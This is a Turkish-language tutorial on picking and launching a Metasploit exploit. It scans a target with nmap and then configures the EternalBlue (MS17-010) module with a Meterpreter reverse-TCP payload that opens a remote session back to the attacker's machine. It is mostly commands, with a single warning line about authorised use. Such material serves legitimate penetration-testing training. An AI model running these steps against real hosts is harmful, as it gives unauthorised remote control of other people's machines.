Metasploit Framework: Exploit Seçimi ve Hedef Eşleştirme

Metasploit Framework'ü açtığında yüzlerce exploit görürsün. Doğru olanı seçmek, başarılı bir saldırının temelini oluşturur. Hedef sistem hakkında bilgi toplamadan exploit kullanmak, çoğu zaman başarısızlıkla sonuçlanır.

İlk adım, hedef sistemin işletim sistemi, açık portlar ve çalışan hizmetlerini belirlemektir. Nmap ile tarama yaparak başla.

nmap -sV -p- 192.168.1.100

Bu komut hedef IP adresindeki tüm portları tarar ve çalışan hizmetlerin versiyonlarını (-sV) gösterir. Örneğin, Samba 3.6.3 veya Apache 2.2.15 gibi sonuçlar alırsın.

Metasploit konsolunu aç ve exploit veritabanını yükle.

msfconsole

Konsol açıldıktan sonra:

db_status

Eğer bağlantı yoksa:

db_connect

Hedef sistem Windows XP ve SMB açıksa, MS17-010 (EternalBlue) gibi bilinen bir zafiyet olabilir.

Reklam · TEST
AdSense Test ReklamıYazı arası (gönderi içi) · Yazı arası
search ms17-010

Bu komut ilgili tüm modulları listeler. Sonuçtan:

use exploit/windows/smb/ms17_010_eternalblue

Seçilen exploit hakkında bilgi al:

info

Gerekli seçenekleri (RHOST, LHOST, LPORT) göreceksin.

Hedef bilgilerini exploit parametrelerine uyarla.

set RHOST 192.168.1.100 set LHOST 192.168.1.50 set LPORT 4444 set PAYLOAD windows/meterpreter/reverse_tcp

Bu adımda:

  • RHOST: Hedef IP adresi
  • LHOST: Geri bağlantı alacağın IP (saldırgan makinesi)
  • LPORT: Dinleyeceğin port
  • PAYLOAD: Başarılı olunca çalıştırılacak kod
exploit

Veya arka planda:

exploit -j
Etik Uyarı: Metasploit'i yalnızca kendi sistemlerinizde veya yazılı izin aldığınız ağlarda kullanın. Yetkisiz erişim yasadışıdır.

Eğer exploit başarılı olursa, hedef sistemde bir session açılır ve komut çalıştırmaya başlayabilirsin. Başarısızlıksa, hedef versiyonu farklı olabilir veya exploit için gerekli şartlar karşılanmayabilir. Nmap sonuçlarını yeniden kontrol et ve uygun exploit bul.

Reklam · TEST
AdSense Test ReklamıGönderi altı · Görüntülü
konu hakkında tepkinizi verebilirsiniz